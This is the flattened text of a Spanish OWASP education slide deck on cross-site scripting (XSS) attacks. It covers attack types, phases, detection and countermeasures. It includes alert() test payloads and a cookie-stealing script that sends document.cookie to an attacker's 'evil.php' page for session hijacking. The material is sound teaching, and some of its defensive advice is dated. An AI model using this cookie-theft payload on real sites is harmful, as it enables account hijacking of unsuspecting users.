Ataques XSS en Aplicaciones Web Antonio Rodríguez Romero Consultor de Seguridad Grupo iSoluciones antonio.rodriguez@isoluciones.es OWASP Education Project Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation http://www.owasp.org Índice 1. 2. 3. 4. 5. 6. 7. 8. 9. Introducción Conceptos Básicos Definición de ataques XSS Tipos de ataques XSS Fases de un ataque XSS Metodologías de ataques XSS Detectar aplicación web vulnerable a ataques XSS Ejemplos de ataques XSS Contramedidas OWASP 2 Introducción Cross Site Scripting (XSS) Las vulnerabilidades de XSS abarcaban cualquier ataque que permita ejecutar código de "scripting" en el contexto de otro sitio web. Se pueden encontrar en cualquier aplicación que tenga como objetivo final, el presentar la información en un navegador web. Usualmente no se validan correctamente los datos de entrada que son usados en algunas aplicaciones permitiendo enviar un script malicioso a la aplicación. Para funcionar necesitan un punto de entrada, que suelen ser los formularios. A través de un ataque XSS, se puede secuestrar cuentas, cambiar configuraciones de los usuarios, acceder a partes restringidas del sitio, modificar el contenido del sitio, etc. OWASP 3 Conceptos Básicos Definición: Ataque Consiste en aprovechar alguna debilidad o vulnerabilidad en el software, en el hardware, e incluso, en las personas que forman parte de un ambiente informático; a fin de obtener un beneficio, causando un efecto negativo en la seguridad del sistema, que luego repercute directamente en los activos de la organización. Efectos negativos como: Denegación de servicio Ejecutar código arbitrario Obtener información confidencial Escalar privilegios Administrar el sistema Tomar el control del mismo Detener o dañar el sistema informático OWASP 4 Conceptos Básicos Tipos de Ataques Según la forma de actuación: Ataque activo Ataque pasivo Según su procedencia: Interno Externo OWASP 5 Conceptos Básicos Definición: Vulnerabilidad Hace referencia a una debilidad en un sistema, permitiendo a un atacante violar la confidencialidad, integridad, disponibilidad, control de acceso y consistencia del sistema o de sus datos y aplicaciones. Son el resultado de bugs o de fallos en el diseño del sistema. Aunque, en un sentido más amplio, también pueden ser el resultado de las propias limitaciones tecnológicas, porque, en principio, no existe sistema 100% seguro. Por lo tanto existen vulnerabilidades teóricas y vulnerabilidades reales. Las vulnerabilidades en las aplicaciones suelen corregirse con parches o con cambios de versión. Mientras que algunas otras requieren un cambio físico en un sistema informático. OWASP 6 Conceptos Básicos Definición: Script Los scripts son un conjunto de instrucciones generalmente almacenadas en un archivo de texto que deben ser interpretados línea a línea en tiempo real para su ejecución, se distinguen de los programas, pues estos deben ser convertidos a un archivo binario ejecutable. Los scripts pueden estar embebidos en otro lenguaje para aumentar las funcionalidades de este, como es el caso los scripts PHP o Javascript en código HTML. OWASP 7 Definición de ataque XSS ¿En qué consisten? Es una vulnerabilidad que aprovecha la falta de mecanismos de filtrado y validación en campos de entrada, permitiendo así el envío de scripts completos (como Visual Basic Scripts o Java Scripts) con secuencias de comandos maliciosos que podrían impactar directamente en el sitio web o en el equipo de un usuario. Esta limitación se debe a que el código HTML se interpreta en el navegador de un usuario y no en el servidor. Así que si alguien inyecta código HTML en alguna aplicación web no podría hacer daño alguno al servidor, ya que éste nunca interpreta el código HTML, sólo los navegadores. Por eso este ataque se denomina: ataque del lado del cliente. OWASP 8 Definición de ataque XSS ¿En qué consisten? La explotación del ataque se vale de: Datos almacenados en servidor desde el cliente Datos que van a ser visualizados por otros usuarios. Campos de entradas sin protección y ningún tipo de validación Los conocimientos del atacante sobre programación HTML y scripting OWASP 9 Definición de ataque XSS Riesgos Navegación dirigida Phishing Spyware Robo de credenciales Ejecución de acciones automáticas OWASP 10 Definición de ataque XSS Recursos para explotar la vulnerabilidad Formularios de contactos de sitios web Mensajes en Foros Firma de libro de visitas Buscadores Variables Correo Web OWASP 11 Tipos de ataques XSS Ataques Directos El ataque de forma directa de XSS (también llamado XSS persistente), se presenta cuando el atacante consigue embeber código HTML malicioso, directamente en los sitios Webs que así lo permiten. Funciona localizando puntos débiles en la programación de los filtros de HTML si es que existen, para publicar contenido. Este tipo de ataques suele ser el más común, y el código del atacante, se basa en etiquetas HTML (del tipo <frame> o <script>), entre las cuales incluye el código malicioso. OWASP 12 Tipos de ataques XSS Ataques Indirectos Este tipo de ataques se presenta, cuando el código maligno se inyecta a través de formularios, a través de los parámetros de una URL, programas en Flash, un enlace malicioso e incluso vídeos. Un ejemplo de un XSS indirecto, puede darse a través de un enlace malicioso, del tipo: http://www.AppVictima.com/search?p=<script>alert('Hola-mundo')</script> El resultado muestra una ventana con el texto "hola-mundo". Esta vulnerabilidad suele ser usada para efectuar robo de sesiones y phishing. OWASP 13 Fases de un ataque XSS Fase 1 Fase 2 Fase 3 • Inserción de código HTML: Identificar que código puede introducir • Pruebas de Concepto: ¿Qué puede hacer con XSS? Robo de credenciales, alterar el sitio web, etc. • Llevar a cabo el daño, robo de credenciales, suplantación de identidad, envío de emails falsos, identificación de posibles víctimas, etc. OWASP 14 Metodologías de ataques XSS Robo de Cookies Mediante esta técnica se puede robar sesiones de una manera bastante sencilla. Bastaría con realizar un script que llamase a una página alojada en nuestro servidor pasándole la cookie. <SCRIPT type="text/javascript"> var adr = '../evil.php?cookiemonster=' + escape(document.cookie); </SCRIPT> Este Script se colaría en el servidor de la victima aprovechando un punto vulnerable a XSS. Cuando un usuario se ha validado en el servidor y ejecute el script se envía al servidor el contenido de la cookie. Una vez que la página obtiene la cookie (almacenándola por ejemplo en un fichero) mediante programas como Odysseus, se puede hacer una llamada al servidor pasándole la cookie original. Esta cookie es válida para robar la sesión solo mientras el usuario no cierre la sesión. OWASP 15 Metodologías de ataques XSS Variables http://www..../index.html?ofertas=><script>alert( “VulnerabilidadXSS”)</script> OWASP Metodologías de ataques XSS Buscadores OWASP Metodologías de ataques XSS Páginas de error OWASP Detectar aplicación web vulnerable a ataques XSS Método Detectar la vulnerabilidad a través de un formulario: <script>alert();</script> Detectar la vulnerabilidad a través de URL: http://vulnerable.com/index.html?nombre=<script>alert();</script> OWASP 19 Ejemplos de ataques XSS Phishing a la banca electrónica Por mala validación de datos de entrada, un atacante puede conseguir inyectar código, para realizar el robo de credenciales y lograr el acceso a cuentas bancarias. OWASP 20 Ejemplos de ataques XSS Presidencia Española de la Unión Europea Consiguen alterar la imagen de un Presidente de Gobierno con una imagen errónea, con el fin de dañar la imagen pública de un país. OWASP 21 Ejemplos de ataques XSS Twitter Se inyectaba código Java Script persistente, a través de un fichero .js alojado en el servidor. El cliente de Twitter no limpiaba el código que venía con las URLs OWASP 22 Ejemplos de ataques XSS Youtube Los atacantes lograron inyectar código HTML desde el área de comentarios en Youtube. Los hackers hicieron de todo, desde forzar mensajes “popup” para que aparecieran en el sitio , hasta re direccionar a los usuarios a páginas con malware. OWASP 23 Ejemplos de ataques XSS Facebook El ataque se basaba en el acceso a través de Java Scripts, de las cookies del usuario de Facebook, logrando re direccionar su contenido a un servidor web controlado por el atacante. Esto permitía al atacante, acceder a los mensajes privados de los usuarios, adicionar nuevas aplicaciones sin autorización, disponer de las imágenes privadas de las víctimas, robar la lista de contactos, etc. OWASP 24 Contramedidas Diseño de aplicaciones Validar todas las entradas de formularios: Se debe verificar que el tipo de datos y la longitud de cada campo se corresponda con lo esperado. Se deberá filtrar caracteres especiales que puedan resultar peligrosos Se deben programar las aplicaciones web, filtrando determinados comandos. En general en los ataques XSS son usadas etiquetas como SCRIPT, OBJECT, APPLET, EMBED y FORM. Envío de mensajes de alerta intimidatorios, cuando se detecte que un usuario de la aplicación intente un posible ataque. OWASP 25 Contramedidas Navegadores del lado cliente Otra contramedida, que ayuda a mitigar los ataques XSS, evitando que los usuarios sean víctimas de ellos, es el uso de las versiones más recientes de navegadores web. A partir de Internet Explorer 8, cuando se intenta acceder a una página web que ha sido víctima de un ataque XSS, aparece un mensaje que avisa de que la página web ha sido modificada, para proteger al usuario de un posible ataque. Esto es debido a que el filtro Anti XSS de Internet Explorer ha detectado la manipulación de la página mediante la inyección de código en un parámetro. OWASP 26 Muchas gracias antonio.rodriguez@isoluciones.es OWASP 27